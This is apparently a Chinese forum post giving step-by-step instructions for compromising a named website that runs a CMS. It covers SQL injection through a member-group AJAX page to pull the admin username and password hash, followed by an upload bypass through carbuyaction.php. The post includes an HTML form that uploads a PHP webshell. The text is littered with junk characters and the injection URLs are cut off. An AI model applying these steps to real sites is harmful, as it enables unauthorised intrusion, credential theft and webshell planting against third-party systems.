①注入漏洞。6 x4 [ F0 }* O3 @$ L( G
这站 http://www.political-security.com/
+ \& }# X' E, p首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，$ @* f2 |. \4 M0 q% i
www.political-security.com/data/mysql_error_trace.inc 爆后台
; v3 f: Z" I9 c5 m9 M x- G k然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
& f8 r9 ?6 W- L然后写上语句 + o: o2 O4 [/ a% D4 U ]5 l% N5 P
查看管理员帐号4 R2 A) C# a, Q! h6 y6 T
http://www.political-security.co ... &membergroup=@`- V: ` w6 W) i H
/ X, k/ G* ^/ b8 W
admin
3 t% v& s* S+ g3 d
0 R! v7 g) o% u9 J$ I1 |; h3 x查看管理员密码
1 n2 H7 a I. ?! H% V, g http://www.political-security.co ... &membergroup=@`/ ]9 E) t7 E0 e/ ]
) I- ]# x! h. p* ~, d1 a8 f7 X
8d29b1ef9f8c5a5af429# u c6 a: Q* V7 o( z
4 x, w$ h7 w- \# U; p z查看管理员密码' b# Z+ `+ Y5 P% c8 h. G
& V C5 T9 B! @得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5
9 v* e1 \# [+ Z" F( f5 w8 ]1 D, L: z2 p% M/ y
8d2
2 _2 c' A @+ f% F/ N9b1ef9f8c5a5af42; f) ?1 O1 L! ]; M# l e! c
9. U0 a" i- {7 h! {, Z" d
. X4 v4 d& w h- t9 vcmd5没解出来 只好测试第二个方法7 Y( e& ]. n+ \" ]) _. v
( o1 ^5 Y) p5 u; B$ [
" v" R( ` z5 O# G F( q②上传漏洞：/ F9 G2 Y& P. X8 ?8 v9 o/ A
" S- M2 v. I$ H8 w; r% ~& \% |/ p只要登陆会员中心，然后访问页面链接
) b3 x4 q% ~3 l% D“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”1 \ \2 d8 k* x! T$ c4 |" f Z. q
, v! H& r2 f8 P9 @
如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
% }! E6 h2 x9 g4 `. f& S/ w- i4 ?( Y& y# C+ H& Z/ \1 C# d9 F) I
于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
2 u2 h$ l$ A/ T- l0 d6 o
9 i5 H% j. ~; a1 P<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>( W/ W1 c) h/ f1 L \+ ]) W* f
或者
$ A# ]) x: b$ E5 X0 n8 ^即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对